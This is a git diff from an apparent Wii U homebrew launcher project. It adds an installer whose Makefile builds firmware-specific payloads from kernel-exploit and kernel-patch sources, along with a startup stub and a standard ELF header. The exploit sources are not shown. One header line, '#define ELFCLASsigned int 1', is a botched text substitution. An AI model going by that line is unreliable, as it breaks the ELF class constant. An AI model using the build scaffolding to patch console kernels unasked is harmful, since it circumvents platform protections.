<pc_esrb type="unsignedInt" length="4">128</pc_esrb>
|
|
||||||
<pc_bbfc type="unsignedInt" length="4">192</pc_bbfc>
|
|
||||||
<pc_usk type="unsignedInt" length="4">128</pc_usk>
|
|
||||||
<pc_pegi_gen type="unsignedInt" length="4">128</pc_pegi_gen>
|
|
||||||
<pc_pegi_fin type="unsignedInt" length="4">192</pc_pegi_fin>
|
|
||||||
<pc_pegi_prt type="unsignedInt" length="4">128</pc_pegi_prt>
|
|
||||||
<pc_pegi_bbfc type="unsignedInt" length="4">128</pc_pegi_bbfc>
|
|
||||||
<pc_cob type="unsignedInt" length="4">128</pc_cob>
|
|
||||||
<pc_grb type="unsignedInt" length="4">128</pc_grb>
|
|
||||||
<pc_cgsrr type="unsignedInt" length="4">128</pc_cgsrr>
|
|
||||||
<pc_oflc type="unsignedInt" length="4">128</pc_oflc>
|
|
||||||
<pc_reserved0 type="unsignedInt" length="4">192</pc_reserved0>
|
|
||||||
<pc_reserved1 type="unsignedInt" length="4">192</pc_reserved1>
|
|
||||||
<pc_reserved2 type="unsignedInt" length="4">192</pc_reserved2>
|
|
||||||
<pc_reserved3 type="unsignedInt" length="4">192</pc_reserved3>
|
|
||||||
<ext_dev_nunchaku type="unsignedInt" length="4">1</ext_dev_nunchaku>
|
|
||||||
<ext_dev_classic type="unsignedInt" length="4">0</ext_dev_classic>
|
|
||||||
<ext_dev_urcc type="unsignedInt" length="4">1</ext_dev_urcc>
|
|
||||||
<ext_dev_board type="unsignedInt" length="4">0</ext_dev_board>
|
|
||||||
<ext_dev_usb_keyboard type="unsignedInt" length="4">1</ext_dev_usb_keyboard>
|
|
||||||
<ext_dev_etc type="unsignedInt" length="4">0</ext_dev_etc>
|
|
||||||
<ext_dev_etc_name type="string" length="512"></ext_dev_etc_name>
|
|
||||||
<eula_version type="unsignedInt" length="4">0</eula_version>
|
|
||||||
<drc_use type="unsignedInt" length="4">1</drc_use>
|
|
||||||
<network_use type="unsignedInt" length="4">1</network_use>
|
|
||||||
<online_account_use type="unsignedInt" length="4">0</online_account_use>
|
|
||||||
<direct_boot type="unsignedInt" length="4">0</direct_boot>
|
|
||||||
<reserved_flag0 type="hexBinary" length="4">00010001</reserved_flag0>
|
|
||||||
<reserved_flag1 type="hexBinary" length="4">00000000</reserved_flag1>
|
|
||||||
<reserved_flag2 type="hexBinary" length="4">00000000</reserved_flag2>
|
|
||||||
<reserved_flag3 type="hexBinary" length="4">00000000</reserved_flag3>
|
|
||||||
<reserved_flag4 type="hexBinary" length="4">00000000</reserved_flag4>
|
|
||||||
<reserved_flag5 type="hexBinary" length="4">00000000</reserved_flag5>
|
|
||||||
<reserved_flag6 type="hexBinary" length="4">00000003</reserved_flag6>
|
|
||||||
<reserved_flag7 type="hexBinary" length="4">00000000</reserved_flag7>
|
|
||||||
<longname_ja type="string" length="512">Homebrew Launcher</longname_ja>
|
|
||||||
<longname_en type="string" length="512">Homebrew Launcher</longname_en>
|
|
||||||
<longname_fr type="string" length="512">Homebrew Launcher</longname_fr>
|
|
||||||
<longname_de type="string" length="512">Homebrew Launcher</longname_de>
|
|
||||||
<longname_it type="string" length="512">Homebrew Launcher</longname_it>
|
|
||||||
<longname_es type="string" length="512">Homebrew Launcher</longname_es>
|
|
||||||
<longname_zhs type="string" length="512">Homebrew Launcher</longname_zhs>
|
|
||||||
<longname_ko type="string" length="512">Homebrew Launcher</longname_ko>
|
|
||||||
<longname_nl type="string" length="512">Homebrew Launcher</longname_nl>
|
|
||||||
<longname_pt type="string" length="512">Homebrew Launcher</longname_pt>
|
|
||||||
<longname_ru type="string" length="512">Homebrew Launcher</longname_ru>
|
|
||||||
<longname_zht type="string" length="512">Homebrew Launcher</longname_zht>
|
|
||||||
<shortname_ja type="string" length="256">Homebrew Launcher</shortname_ja>
|
|
||||||
<shortname_en type="string" length="256">Homebrew Launcher</shortname_en>
|
|
||||||
<shortname_fr type="string" length="256">Homebrew Launcher</shortname_fr>
|
|
||||||
<shortname_de type="string" length="256">Homebrew Launcher</shortname_de>
|
|
||||||
<shortname_it type="string" length="256">Homebrew Launcher</shortname_it>
|
|
||||||
<shortname_es type="string" length="256">Homebrew Launcher</shortname_es>
|
|
||||||
<shortname_zhs type="string" length="256">Homebrew Launcher</shortname_zhs>
|
|
||||||
<shortname_ko type="string" length="256">Homebrew Launcher</shortname_ko>
|
|
||||||
<shortname_nl type="string" length="256">Homebrew Launcher</shortname_nl>
|
|
||||||
<shortname_pt type="string" length="256">Homebrew Launcher</shortname_pt>
|
|
||||||
<shortname_ru type="string" length="256">Homebrew Launcher</shortname_ru>
|
|
||||||
<shortname_zht type="string" length="256">Homebrew Launcher</shortname_zht>
|
|
||||||
<publisher_ja type="string" length="256">dimok</publisher_ja>
|
|
||||||
<publisher_en type="string" length="256">dimok</publisher_en>
|
|
||||||
<publisher_fr type="string" length="256">dimok</publisher_fr>
|
|
||||||
<publisher_de type="string" length="256">dimok</publisher_de>
|
|
||||||
<publisher_it type="string" length="256">dimok</publisher_it>
|
|
||||||
<publisher_es type="string" length="256">dimok</publisher_es>
|
|
||||||
<publisher_zhs type="string" length="256">dimok</publisher_zhs>
|
|
||||||
<publisher_ko type="string" length="256">dimok</publisher_ko>
|
|
||||||
<publisher_nl type="string" length="256">dimok</publisher_nl>
|
|
||||||
<publisher_pt type="string" length="256">dimok</publisher_pt>
|
|
||||||
<publisher_ru type="string" length="256">dimok</publisher_ru>
|
|
||||||
<publisher_zht type="string" length="256">dimok</publisher_zht>
|
|
||||||
<add_on_unique_id0 type="hexBinary" length="4">00000000</add_on_unique_id0>
|
|
||||||
<add_on_unique_id1 type="hexBinary" length="4">00000000</add_on_unique_id1>
|
|
||||||
<add_on_unique_id2 type="hexBinary" length="4">00000000</add_on_unique_id2>
|
|
||||||
<add_on_unique_id3 type="hexBinary" length="4">00000000</add_on_unique_id3>
|
|
||||||
<add_on_unique_id4 type="hexBinary" length="4">00000000</add_on_unique_id4>
|
|
||||||
<add_on_unique_id5 type="hexBinary" length="4">00000000</add_on_unique_id5>
|
|
||||||
<add_on_unique_id6 type="hexBinary" length="4">00000000</add_on_unique_id6>
|
|
||||||
<add_on_unique_id7 type="hexBinary" length="4">00000000</add_on_unique_id7>
|
|
||||||
<add_on_unique_id8 type="hexBinary" length="4">00000000</add_on_unique_id8>
|
|
||||||
<add_on_unique_id9 type="hexBinary" length="4">00000000</add_on_unique_id9>
|
|
||||||
<add_on_unique_id10 type="hexBinary" length="4">00000000</add_on_unique_id10>
|
|
||||||
<add_on_unique_id11 type="hexBinary" length="4">00000000</add_on_unique_id11>
|
|
||||||
<add_on_unique_id12 type="hexBinary" length="4">00000000</add_on_unique_id12>
|
|
||||||
<add_on_unique_id13 type="hexBinary" length="4">00000000</add_on_unique_id13>
|
|
||||||
<add_on_unique_id14 type="hexBinary" length="4">00000000</add_on_unique_id14>
|
|
||||||
<add_on_unique_id15 type="hexBinary" length="4">00000000</add_on_unique_id15>
|
|
||||||
<add_on_unique_id16 type="hexBinary" length="4">00000000</add_on_unique_id16>
|
|
||||||
<add_on_unique_id17 type="hexBinary" length="4">00000000</add_on_unique_id17>
|
|
||||||
<add_on_unique_id18 type="hexBinary" length="4">00000000</add_on_unique_id18>
|
|
||||||
<add_on_unique_id19 type="hexBinary" length="4">00000000</add_on_unique_id19>
|
|
||||||
<add_on_unique_id20 type="hexBinary" length="4">00000000</add_on_unique_id20>
|
|
||||||
<add_on_unique_id21 type="hexBinary" length="4">00000000</add_on_unique_id21>
|
|
||||||
<add_on_unique_id22 type="hexBinary" length="4">00000000</add_on_unique_id22>
|
|
||||||
<add_on_unique_id23 type="hexBinary" length="4">00000000</add_on_unique_id23>
|
|
||||||
<add_on_unique_id24 type="hexBinary" length="4">00000000</add_on_unique_id24>
|
|
||||||
<add_on_unique_id25 type="hexBinary" length="4">00000000</add_on_unique_id25>
|
|
||||||
<add_on_unique_id26 type="hexBinary" length="4">00000000</add_on_unique_id26>
|
|
||||||
<add_on_unique_id27 type="hexBinary" length="4">00000000</add_on_unique_id27>
|
|
||||||
<add_on_unique_id28 type="hexBinary" length="4">00000000</add_on_unique_id28>
|
|
||||||
<add_on_unique_id29 type="hexBinary" length="4">00000000</add_on_unique_id29>
|
|
||||||
<add_on_unique_id30 type="hexBinary" length="4">00000000</add_on_unique_id30>
|
|
||||||
<add_on_unique_id31 type="hexBinary" length="4">00000000</add_on_unique_id31>
|
|
||||||
</menu>
|
|
14
filelist.sh
14
filelist.sh
@ -42,13 +42,15 @@ cat <<EOF > $outFile
|
|||||||
#ifndef _FILELIST_H_
|
#ifndef _FILELIST_H_
|
||||||
#define _FILELIST_H_
|
#define _FILELIST_H_
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
typedef struct _RecourceFile
|
typedef struct _RecourceFile
|
||||||
{
|
{
|
||||||
const char *filename;
|
const char *filename;
|
||||||
const unsigned char *DefaultFile;
|
const u8 *DefaultFile;
|
||||||
const unsigned int &DefaultFileSize;
|
const u32 &DefaultFileSize;
|
||||||
unsigned char *CustomFile;
|
u8 *CustomFile;
|
||||||
unsigned int CustomFileSize;
|
u32 CustomFileSize;
|
||||||
} RecourceFile;
|
} RecourceFile;
|
||||||
|
|
||||||
EOF
|
EOF
|
||||||
@ -57,8 +59,8 @@ for i in ${files[@]}
|
|||||||
do
|
do
|
||||||
filename=${i%.*}
|
filename=${i%.*}
|
||||||
extension=${i##*.}
|
extension=${i##*.}
|
||||||
echo 'extern const unsigned char '$filename'_'$extension'[];' >> $outFile
|
echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile
|
||||||
echo 'extern const unsigned int '$filename'_'$extension'_size;' >> $outFile
|
echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile
|
||||||
echo '' >> $outFile
|
echo '' >> $outFile
|
||||||
done
|
done
|
||||||
|
|
||||||
|
75
installer/Makefile
Normal file
75
installer/Makefile
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||||
|
PREFIX ?= powerpc-eabi-
|
||||||
|
CC = $(PREFIX)gcc
|
||||||
|
AS = $(PREFIX)gcc
|
||||||
|
CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
|
||||||
|
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||||
|
LD = $(PREFIX)ld
|
||||||
|
LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
|
||||||
|
OBJDUMP ?= $(PREFIX)objdump
|
||||||
|
project := .
|
||||||
|
root := $(CURDIR)
|
||||||
|
build := $(root)/bin
|
||||||
|
|
||||||
|
sd_loader_elf := ../sd_loader/sd_loader.elf
|
||||||
|
|
||||||
|
CFLAGS += -DUSE_SD_LOADER
|
||||||
|
ASFLAGS += -DUSE_SD_LOADER
|
||||||
|
|
||||||
|
all: clean setup main532 main550 main500 main410 main400
|
||||||
|
|
||||||
|
sd_loader.h: $(sd_loader_elf)
|
||||||
|
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
|
||||||
|
|
||||||
|
$(sd_loader_elf):
|
||||||
|
make -C ../sd_loader
|
||||||
|
|
||||||
|
setup:
|
||||||
|
mkdir -p $(root)/bin/
|
||||||
|
|
||||||
|
main550:
|
||||||
|
make main FIRMWARE=550
|
||||||
|
|
||||||
|
main540:
|
||||||
|
make main FIRMWARE=532
|
||||||
|
|
||||||
|
main532:
|
||||||
|
make main FIRMWARE=532
|
||||||
|
|
||||||
|
main500:
|
||||||
|
make main FIRMWARE=500
|
||||||
|
|
||||||
|
main410:
|
||||||
|
make main FIRMWARE=410
|
||||||
|
|
||||||
|
main400:
|
||||||
|
make main FIRMWARE=400
|
||||||
|
|
||||||
|
main310:
|
||||||
|
make main FIRMWARE=310
|
||||||
|
|
||||||
|
main300:
|
||||||
|
make main FIRMWARE=300
|
||||||
|
|
||||||
|
main210:
|
||||||
|
make main FIRMWARE=210
|
||||||
|
|
||||||
|
main200:
|
||||||
|
make main FIRMWARE=200
|
||||||
|
|
||||||
|
main: sd_loader.h
|
||||||
|
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
|
||||||
|
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
|
||||||
|
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
|
||||||
|
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||||
|
cp -r $(root)/*.o $(build)
|
||||||
|
rm $(root)/*.o
|
||||||
|
$(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf $(build)
|
||||||
|
rm -rf sd_loader.h
|
||||||
|
|
||||||
|
print_stats:
|
||||||
|
@echo
|
||||||
|
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312
|
8
installer/crt0.S
Normal file
8
installer/crt0.S
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
.extern __main
|
||||||
|
.globl _start
|
||||||
|
_start:
|
||||||
|
# load proper stack
|
||||||
|
lis r1, 0x1ab5
|
||||||
|
ori r1, r1, 0xd138
|
||||||
|
# jump to our main
|
||||||
|
bl __main
|
591
installer/elf_abi.h
Normal file
591
installer/elf_abi.h
Normal file
@ -0,0 +1,591 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (c) 1995, 1996, 2001, 2002
|
||||||
|
* Erik Theisen. All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. The name of the author may not be used to endorse or promote products
|
||||||
|
* derived from this software without specific prior written permission
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is the ELF ABI header file
|
||||||
|
* formerly known as "elf_abi.h".
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _ELF_ABI_H
|
||||||
|
#define _ELF_ABI_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This version doesn't work for 64-bit ABIs - Erik.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These typedefs need to be handled better.
|
||||||
|
*/
|
||||||
|
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||||
|
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||||
|
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||||
|
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||||
|
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||||
|
|
||||||
|
/* e_ident[] identification indexes */
|
||||||
|
#define EI_MAG0 0 /* file ID */
|
||||||
|
#define EI_MAG1 1 /* file ID */
|
||||||
|
#define EI_MAG2 2 /* file ID */
|
||||||
|
#define EI_MAG3 3 /* file ID */
|
||||||
|
#define EI_CLASS 4 /* file class */
|
||||||
|
#define EI_DATA 5 /* data encoding */
|
||||||
|
#define EI_VERSION 6 /* ELF header version */
|
||||||
|
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||||
|
#define EI_ABIVERSION 8 /* ABI target version */
|
||||||
|
#define EI_PAD 9 /* start of pad bytes */
|
||||||
|
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||||
|
|
||||||
|
/* e_ident[] magic number */
|
||||||
|
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||||
|
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||||
|
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||||
|
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||||
|
#define ELFMAG "\177ELF" /* magic */
|
||||||
|
#define SELFMAG 4 /* size of magic */
|
||||||
|
|
||||||
|
/* e_ident[] file class */
|
||||||
|
#define ELFCLASSNONE 0 /* invalid */
|
||||||
|
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||||
|
#define ELFCLASS64 2 /* 64-bit objs */
|
||||||
|
#define ELFCLASSNUM 3 /* number of classes */
|
||||||
|
|
||||||
|
/* e_ident[] data encoding */
|
||||||
|
#define ELFDATANONE 0 /* invalid */
|
||||||
|
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||||
|
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||||
|
#define ELFDATANUM 3 /* number of data encode defines */
|
||||||
|
|
||||||
|
/* e_ident[] OS/ABI specific ELF extensions */
|
||||||
|
#define ELFOSABI_NONE 0 /* No extension specified */
|
||||||
|
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||||
|
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||||
|
#define ELFOSABI_LINUX 3 /* Linux */
|
||||||
|
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||||
|
#define ELFOSABI_AIX 7 /* AIX */
|
||||||
|
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||||
|
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||||
|
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||||
|
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||||
|
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||||
|
/* 64-255 Architecture-specific value range */
|
||||||
|
|
||||||
|
/* e_ident[] ABI Version */
|
||||||
|
#define ELFABIVERSION 0
|
||||||
|
|
||||||
|
/* e_ident */
|
||||||
|
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||||
|
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||||
|
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||||
|
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||||
|
|
||||||
|
/* ELF Header */
|
||||||
|
typedef struct elfhdr{
|
||||||
|
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||||
|
Elf32_Half e_type; /* object file type */
|
||||||
|
Elf32_Half e_machine; /* machine */
|
||||||
|
Elf32_Word e_version; /* object file version */
|
||||||
|
Elf32_Addr e_entry; /* virtual entry point */
|
||||||
|
Elf32_Off e_phoff; /* program header table offset */
|
||||||
|
Elf32_Off e_shoff; /* section header table offset */
|
||||||
|
Elf32_Word e_flags; /* processor-specific flags */
|
||||||
|
Elf32_Half e_ehsize; /* ELF header size */
|
||||||
|
Elf32_Half e_phentsize; /* program header entry size */
|
||||||
|
Elf32_Half e_phnum; /* number of program header entries */
|
||||||
|
Elf32_Half e_shentsize; /* section header entry size */
|
||||||
|
Elf32_Half e_shnum; /* number of section header entries */
|
||||||
|
Elf32_Half e_shstrndx; /* section header table's "section
|
||||||
|
header string table" entry offset */
|
||||||
|
} Elf32_Ehdr;
|
||||||
|
|
||||||
|
/* e_type */
|
||||||
|
#define ET_NONE 0 /* No file type */
|
||||||
|
#define ET_REL 1 /* relocatable file */
|
||||||
|
#define ET_EXEC 2 /* executable file */
|
||||||
|
#define ET_DYN 3 /* shared object file */
|
||||||
|
#define ET_CORE 4 /* core file */
|
||||||
|
#define ET_NUM 5 /* number of types */
|
||||||
|
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||||
|
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||||
|
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||||
|
#define ET_HIPROC 0xffff /* specific e_type */
|
||||||
|
|
||||||
|
/* e_machine */
|
||||||
|
#define EM_NONE 0 /* No Machine */
|
||||||
|
#define EM_M32 1 /* AT&T WE 32100 */
|
||||||
|
#define EM_SPARC 2 /* SPARC */
|
||||||
|
#define EM_386 3 /* Intel 80386 */
|
||||||
|
#define EM_68K 4 /* Motorola 68000 */
|
||||||
|
#define EM_88K 5 /* Motorola 88000 */
|
||||||
|
#if 0
|
||||||
|
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||||
|
#endif
|
||||||
|
#define EM_860 7 /* Intel 80860 */
|
||||||
|
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||||
|
#define EM_S370 9 /* IBM System/370 Processor */
|
||||||
|
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||||
|
#if 0
|
||||||
|
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||||
|
64-bit unoffical */
|
||||||
|
#endif
|
||||||
|
/* RESERVED 11-14 for future use */
|
||||||
|
#define EM_PARISC 15 /* HPPA */
|
||||||
|
/* RESERVED 16 for future use */
|
||||||
|
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||||
|
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||||
|
#define EM_960 19 /* Intel 80960 */
|
||||||
|
#define EM_PPC 20 /* PowerPC */
|
||||||
|
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||||
|
#define EM_S390 22 /* IBM System/390 Processor */
|
||||||
|
/* RESERVED 23-35 for future use */
|
||||||
|
#define EM_V800 36 /* NEC V800 */
|
||||||
|
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||||
|
#define EM_RH32 38 /* TRW RH-32 */
|
||||||
|
#define EM_RCE 39 /* Motorola RCE */
|
||||||
|
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||||
|
#define EM_ALPHA 41 /* Digital Alpha */
|
||||||
|
#define EM_SH 42 /* Hitachi SH */
|
||||||
|
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||||
|
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||||
|
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||||
|
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||||
|
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||||
|
#define EM_H8S 48 /* Hitachi H8S */
|
||||||
|
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||||
|
#define EM_IA_64 50 /* Intel Merced */
|
||||||
|
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||||
|
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||||
|
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||||
|
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||||
|
#define EM_PCP 55 /* Siemens PCP */
|
||||||
|
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||||
|
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||||
|
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||||
|
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||||
|
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||||
|
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||||
|
#define EM_X86_64 62 /* AMD x86-64 */
|
||||||
|
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||||
|
/* RESERVED 64,65 for future use */
|
||||||
|
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||||
|
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||||
|
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||||
|
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||||
|
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||||
|
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||||
|
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||||
|
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||||
|
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||||
|
#define EM_VAX 75 /* Digital VAX */
|
||||||
|
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||||
|
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||||
|
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||||
|
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||||
|
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||||
|
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||||
|
#define EM_PRISM 82 /* SiTera Prism */
|
||||||
|
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||||
|
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||||
|
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||||
|
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||||
|
#define EM_V850 87 /* NEC v850 */
|
||||||
|
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||||
|
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||||
|
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||||
|
#define EM_PJ 91 /* picoJava */
|
||||||
|
#define EM_NUM 92 /* number of machine types */
|
||||||
|
|
||||||
|
/* Version */
|
||||||
|
#define EV_NONE 0 /* Invalid */
|
||||||
|
#define EV_CURRENT 1 /* Current */
|
||||||
|
#define EV_NUM 2 /* number of versions */
|
||||||
|
|
||||||
|
/* Section Header */
|
||||||
|
typedef struct {
|
||||||
|
Elf32_Word sh_name; /* name - index into section header
|
||||||
|
string table section */
|
||||||
|
Elf32_Word sh_type; /* type */
|
||||||
|
Elf32_Word sh_flags; /* flags */
|
||||||
|
Elf32_Addr sh_addr; /* address */
|
||||||
|
Elf32_Off sh_offset; /* file offset */
|
||||||
|
Elf32_Word sh_size; /* section size */
|
||||||
|
Elf32_Word sh_link; /* section header table index link */
|
||||||
|
Elf32_Word sh_info; /* extra information */
|
||||||
|
Elf32_Word sh_addralign; /* address alignment */
|
||||||
|
Elf32_Word sh_entsize; /* section entry size */
|
||||||
|
} Elf32_Shdr;
|
||||||
|
|
||||||
|
/* Special Section Indexes */
|
||||||
|
#define SHN_UNDEF 0 /* undefined */
|
||||||
|
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||||
|
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||||
|
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||||
|
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||||
|
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||||
|
#define SHN_ABS 0xfff1 /* absolute value */
|
||||||
|
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||||
|
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||||
|
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||||
|
|
||||||
|
/* sh_type */
|
||||||
|
#define SHT_NULL 0 /* inactive */
|
||||||
|
#define SHT_PROGBITS 1 /* program defined information */
|
||||||
|
#define SHT_SYMTAB 2 /* symbol table section */
|
||||||
|
#define SHT_STRTAB 3 /* string table section */
|
||||||
|
#define SHT_RELA 4 /* relocation section with addends*/
|
||||||
|
#define SHT_HASH 5 /* symbol hash table section */
|
||||||
|
#define SHT_DYNAMIC 6 /* dynamic section */
|
||||||
|
#define SHT_NOTE 7 /* note section */
|
||||||
|
#define SHT_NOBITS 8 /* no space section */
|
||||||
|
#define SHT_REL 9 /* relation section without addends */
|
||||||
|
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||||
|
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||||
|
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||||
|
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||||
|
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||||
|
#define SHT_GROUP 17 /* Section group */
|
||||||
|
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||||
|
#define SHT_NUM 19 /* number of section types */
|
||||||
|
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||||
|
